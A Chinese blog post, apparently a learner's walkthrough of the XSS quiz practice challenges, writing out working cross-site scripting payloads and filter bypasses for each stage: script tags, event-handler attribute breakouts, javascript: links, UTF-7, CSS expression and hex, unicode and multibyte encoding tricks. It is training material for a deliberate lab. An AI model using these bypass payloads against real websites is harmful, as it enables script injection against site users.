XSS quiz练习题做题过程及感悟
XSS quiz
最近刚学XSS。所以新手理解如有错误不当,欢迎批评指正。
第1题
一开始做,使用了Chrome浏览器。第一题怎么都做不出来。突然想起来使用IE,打开IE11,才成功了。
<script>alert(document.domain);</script>

第2题
第二题,直接用这个不行。

查看源代码。

构造一个,把左边的< input ..... 封掉。
"><script>alert(document.domain);</script><"

第3题
随便搜点东西

构造
"</b></form><script>alert(document.domain);</script><from><b>"
也不行。


可见他过滤了尖括号和引号。<>” 分别变成了转义符 <>"
我试试用 Jother。也不行
上网查阅资料,找到另一种回避 < > “ 的方法:Unicode编码
< \u003c
> \u003e
“ \u0022
也不行。
再试试Base64
data:text/html;base64,IjwvYj48L2Zvcm0+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pjxmcm9tPjxiPiI=
data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+
似乎也不行。跪了
实在不行了。Hint里写,Hint: The input in text box is properly escaped.
网上的答案写:“但是输入点就不仅这处。”
只好在F12 Console里写:
alert(document.domain)
弹窗。不知出题者什么意思。。。估计不是这个意思。
什么叫输入点不仅此处?尝试使用工具 WebScarab:

改下面的。在Japan后加上
<script>alert(document.domain);</script>
弹窗成功。
在Firefox的FireBug下,直接修改也行。不知道出题的意思是什么。

第4题
发现了这个东西:多出来的

我把它改为了 type=text,直接输入下文:
"><img src=# onerror=alert(document.domain)><input type="text" value="
成功弹窗。

第5题
一开始没注意有什么。没有过滤。突然发现有长度限制15字符。

直接把15改为999。然后填写,弹窗成功。

也可以用WebScarab拦截POST包,修改。可以绕过15字符限制。成功弹窗。

后来看了网上答案,似乎也是用代理拦截。
第6题
这次随便输入东西。发现 <>号被转义为 <>
尝试利用前面的知识:Unicode编码。似乎不行。
突然想起,用这个代码,不需要尖括号:
" onmouseover=alert(document.domain) align="left
弹窗成功。
看答案是基本一样的。
第7题
这一次刚一看,没有长度限制。也没有过滤。仔细看才发现,把&<>” ‘ 这些符号都转义了。
& <> " '

先来试试前面的Unicode和base64吧:
测试不行?
"><img src=# onerror=alert(document.domain)><"
看Hint,Hint: nearly the same... but a bit more tricky.
差点忘了第6题的方法。只是引号不能用了。
突然发现 input的value没有引号。要啥引号!
123 onmouseover=alert(document.domain)
鼠标滑过,弹窗成功。
看来代码还是要仔细看的。
第8题
这次的Search变成了Make a link。果然是输入一个地址,在下面生成一个同样的链接。
那目测要反射型?

但是测试一下发现,他过滤了引号。和尖括号。
" onclick=alert(document.domain) align="left
上面是不行的。

忍不住看一眼答案,瞬间明白了,直接在src里面插代码不就完了。
javascript:alert(document.domain)
这就行了
第9题
看代码,又一个hidden的input。
Hint: UTF-7 XSS
UTF-7:A Mail-Safe Transformation Format of Unicode(RFC1642)。这是一种使用 7 位 ASCII 码对 Unicode 码进行转换的编码。它的设计目的仍然是为了在只能传递 7 为编码的邮件网关中传递信息。 UTF-7 对英语字母、数字和常见符号直接显示,而对其他符号用修正的 Base64 编码。符号 + 和 - 号控制编码过程的开始和暂停。所以乱码中如果夹有英文单词,并且相伴有 + 号和 - 号,这就有可能是 UTF-7 编码。

nputn link.ver=alert(document.domain)不管了,先上FireBug爽一把:

我看到,这个hidden的input,name=”charset”,value=”EUC-JP”。
这EUC-JP是日语的一种编码方式。
研究答案:
+ACI- onmouseover=+ACI-alert(document.domain)+ADsAIg- x=+ACI-
utf-7
实际测试:+编码为%2b
p1=1%2bACI- onmouseover=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=euc-jp
突然在另一个答案上有注释:
现在只有IE支持utf-7所以IE下通过
我去,用了半天火狐了。转回IE
可惜IE也不行?什么情况?
第10题
这次<>”都没有过滤。
用了刚才一招:
" onmouseover=alert(document.domain) align="left
没有弹窗。再看看代码,发现 domain这个词给我过滤了
恐怕要用编码。
对了,上边还有个hidden的input:
<input type="hidden" name="key" value="tubhf22ui/qiq">
这是啥玩意?
搞了半天,忍不住看一眼答案,真是太巧妙了:
" onmouseover=alert(document.domdomainain); x="
把domain过滤掉,两边合起来还是domain。
致以崇高敬意。
"ametoxBug
第11题
这一次什么都没有过滤。不知道会有什么花样。
直接上代码:" onmouseover=alert(document.domdomainain); x="

我去,我的mouseover变为了xxx。而不是上一局的直接删除。
上一局的方法又不好使了。
再来一招:
"><img src=# onerror=alert(document.domain)><"
我去,error这个词也过滤了。
我猜script也会过滤:
果然。<script></script>之间的都被删了。
这次的Hint: "s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;"
src=”javascript.......
因此也变为了javaxscript
看答案:使用了 	 (\t)把script隔开了。
用 "><a href="javascr ipt:alert(document.domain);">12</a>
点击链接,火狐会直接打开新窗口
用IE,却可以弹窗。我勒个去?
第12题
这次value没有引号。但是发现空格会被过滤。尖括号和引号也会直接消失。
答案是:
``onmouseover=alert(document.domain);
一开始两个单引号。但是用火狐还是不行。用IE可以。
不对,不是单引号,而是ESC下面的键 ` ,ascii码为 96(0x60)。叫做反单引号。
答案写:
//这一关是吧00空字符,和20空格、尖括号、单引号、双引号都过滤成空了。可以用反引号(`)TAB键上面的那个代替。IE下通过、FF,chrome不行。
服了。
第13题
一个背景颜色的题,可惜会过滤我的引号。

关于style,expression,css等方面基本不懂。直接看答案吧。
网上某答案写
background-color:#f00;background:url("javascript:alert(document.domain);");
这种方式没有成功
另一个答案写:
在CSS样式中利用expression实现JavaScript中的onmouseover/onmouseout事件
aa:expression(onmouseover=function(){alert(document.domain)})
似乎也不行。
跪了
先用firebug弹窗,过了再说。
PS:14题开始使用IE8内核的浏览器时,回过头看一看:
两种都可以弹窗。
第14题
还是style的题。先看Hint: s/(url|script|eval|expression)/xxx/ig;
难道是升级版?试了一下,这四个词全变成了xxx。那么上一题的方法也不能用了。
再次看答案,
cos:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})
看来是在里面插入空白注释来回避审查。
我使用IE11和Firefox都无法弹窗。有可能是浏览器问题(出了这么多问题),于是拿出经典的 点心浏览器(不是做广告),IE8内核。一直按F12切换内核太麻烦。这次弹窗了。那就决定使用它了。
第15题
这是一个javascript,使用了document.write。

先上代码:
");alert(document.domain);alert("
发现转义了<>”
用转义的ASCII码:
16进制,< 0x3c >0x3e
\x3cscript\x3ealert(document.domain);\x3c/script\x3e
发现单个\不成功。使用这个:
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
成功弹窗。
PS:
做个小实验,本地HTML,
<script>
document.write("<script>alert(3)</script>");
</script>
不会弹窗。
<script>
document.write("\x3cscript\x3ealert(3)\x3c/script\x3e");
</script>
上面这样转义,则会弹窗。(Chrome)
第16题
目测与15题类似。但是Hint加了一句。
Hint: "document.write();" and "s/\\x/\\\\x/ig;"
再目测这是跟16进制过不去?
\x 会变为 x ,而\\x 还是\\x 。\\\x变为\\x。
试试十进制、八进制啥的。
<>的十进制是60和62。
\60script\62alert(document.domain);\60/script\62
仍然过滤了\。再次变为两个:
\\60script\\62alert(document.domain);\\60/script\\62
仍然不行。\\6集体消失。
试一下Unicode。参考前面的,
< \u003c
> \u003e
“ \u0022
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
可以了。
第17题
这一题有两个框。

看答案,这一题似乎较为复杂,和日语编码有关;并且新版本的IE都已经修复了。
提示:multi-byte character
euc-jp的编码范围:
byte 1為8E時, 為2 byte編碼, byte 2範圍為A1-DF
byte 1範圍為A1-FE時, 為2 byte編碼, byte 2範圍為A1-FE
byte 1為8F時為3 byte編碼, byte 2與byte 3範圍均為A1-FE
两个表单元素都提交%A7闭合最后的双引号,查看源码成功了,为什么UI上去没成功?无奈直接在地址栏:javascript:alert(document.domain);
现在发现原来是浏览器版本问题,别用IE8了过这个。
p1=1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7
干脆跳过拉倒。
第18题
同样问题。
跳过拉倒。
第19题
这一题没有了input的框。只有一个指向自己的link。
那怎么办,直接console输入拉倒。(在地址栏输入javascript:alert(document.domain)也行)
全部通关。
XSS quiz练习题做题过程及感悟的更多相关文章
- ACM 做题过程中的一些小技巧。
ACM做题过程中的一些小技巧. 1.一般用C语言节约空间,要用C++库函数或STL时才用C++; cout.cin和printf.scanf最好不要混用. 2.有时候int型不够用,可以用long l ...
- ACM做题过程中的一些小技巧
1.一般用C语言节约空间,要用C++库函数或STL时才用C++; cout.cin和printf.scanf最好不要混用. 2.有时候int型不够用,可以用long long或__int64型(两个下 ...
- CodeM美团点评编程大赛复赛 做题感悟&题解
[T1] [简要题意] 长度为N的括号序列,随机确定括号的方向:对于一个已确定的序列,每次消除相邻的左右括号(右左不行),消除后可以进一步合并和消除直到不能消为止.求剩下的括号的期望.\(N \l ...
- C语言程序设计做题笔记之C语言基础知识(下)
C 语言是一种功能强大.简洁的计算机语言,通过它可以编写程序,指挥计算机完成指定的任务.我们可以利用C语言创建程序(即一组指令),并让计算机依指令行 事.并且C是相当灵活的,用于执行计算机程序能完成的 ...
- C语言程序设计做题笔记之C语言基础知识(上)
C语言是一种功能强大.简洁的计算机语言,通过它可以编写程序,指挥计算机完成指定的任务.我们可以利用C语言创建程序(即一组指令),并让计算机依指令行事.并且C是相当灵活的,用于执行计算机程序能完成的几乎 ...
- SDOI2016 R1做题笔记
SDOI2016 R1做题笔记 经过很久很久的时间,shzr终于做完了SDOI2016一轮的题目. 其实没想到竟然是2016年的题目先做完,因为14年的六个题很早就做了四个了,但是后两个有点开不动.. ...
- AtCoder Grand Contest 11~17 做题小记
原文链接https://www.cnblogs.com/zhouzhendong/p/AtCoder-Grand-Contest-from-11-to-20.html UPD(2018-11-16): ...
- AtCoder Grand Contest 1~10 做题小记
原文链接https://www.cnblogs.com/zhouzhendong/p/AtCoder-Grand-Contest-from-1-to-10.html 考虑到博客内容较多,编辑不方便的情 ...
- noip做题记录+挑战一句话题解?
因为灵巧实在太弱辽不得不做点noip续下命QQAQQQ 2018 积木大赛/铺设道路 傻逼原题? 然后傻逼的我居然检查了半天是不是有陷阱最后花了差不多一个小时才做掉我做过的原题...真的傻逼了我:( ...
随机推荐
- Android SDK 国内镜像及配置方法
东软信息学院的 Android SDK 镜像,比配置代理下载快. 配置地址, http://mirrors.neusoft.edu.cn/configurations.we#android 配置步骤: ...
- 理解 OpenStack 高可用(HA) (4): Pacemaker 和 OpenStack Resource Agent (RA)
本系列会分析OpenStack 的高可用性(HA)概念和解决方案: (1)OpenStack 高可用方案概述 (2)Neutron L3 Agent HA - VRRP (虚拟路由冗余协议) (3)N ...
- GJM :JS + CSS3 打造炫酷3D相册 [转载]
感谢您的阅读.喜欢的.有用的就请大哥大嫂们高抬贵手"推荐一下"吧!你的精神支持是博主强大的写作动力以及转载收藏动力.欢迎转载! 版权声明:本文原创发表于 [请点击连接前往] ,未经 ...
- tomcat jdk servlet websocket版本对应关系
最近在考虑公司主要基础三方库版本统一和升级的问题,特看了下tomcat jdk servlet websocket版本的对应关系,如下:
- Xdebug文档(一)基本特性
基本属性(参数) xdebug.default_enable 类型: boolean,默认值: 1 这是xdebug的基本设置,默认在调试跟踪时显示错误信息.可以使用xdebug_disable()函 ...
- Web 开发最有用的50款 jQuery 插件集锦——《图片特效篇》
<Web 开发最有用的50款 jQuery 插件集锦>系列文章向大家分享最具创新的50款 jQuery 插件,这些插件分成以下类别:网页布局插件,导航插件,表格插件,滑块和转盘插件,图表插 ...
- 【HTML5】HTML5本地数据库(Web Sql Database)
Web Sql数据库简介 Web SQL数据库API实际上不是HTML5规范的组成部分,而是单独的规范.它通过一套API来操纵客户端的数据库. Web SQL数据库的浏览器支持情况 Web SQL 数 ...
- crm2013关于contentIFrame不能使用
在CRM2011里面,我们可以在页面的控制台里面输入: contentIFrame.Xrm.Page.data.entity.getEntityName(); contentIFrame.Xrm.Pa ...
- 使用Autodesk OAuth服务在用户认证的示例
大家知道以Autodesk 360为核心的Autodesk 云服务已经陆续发布,ReCap API.InfraWorks API和PLM 360 REST API已经开始的Pilot项目供第三方开发者 ...
- [Android]下拉刷新控件RefreshableView的实现
以下内容为原创,欢迎转载,转载请注明 来自天天博客:http://www.cnblogs.com/tiantianbyconan/p/4172483.html 需求:自定义一个ViewGroup,实现 ...
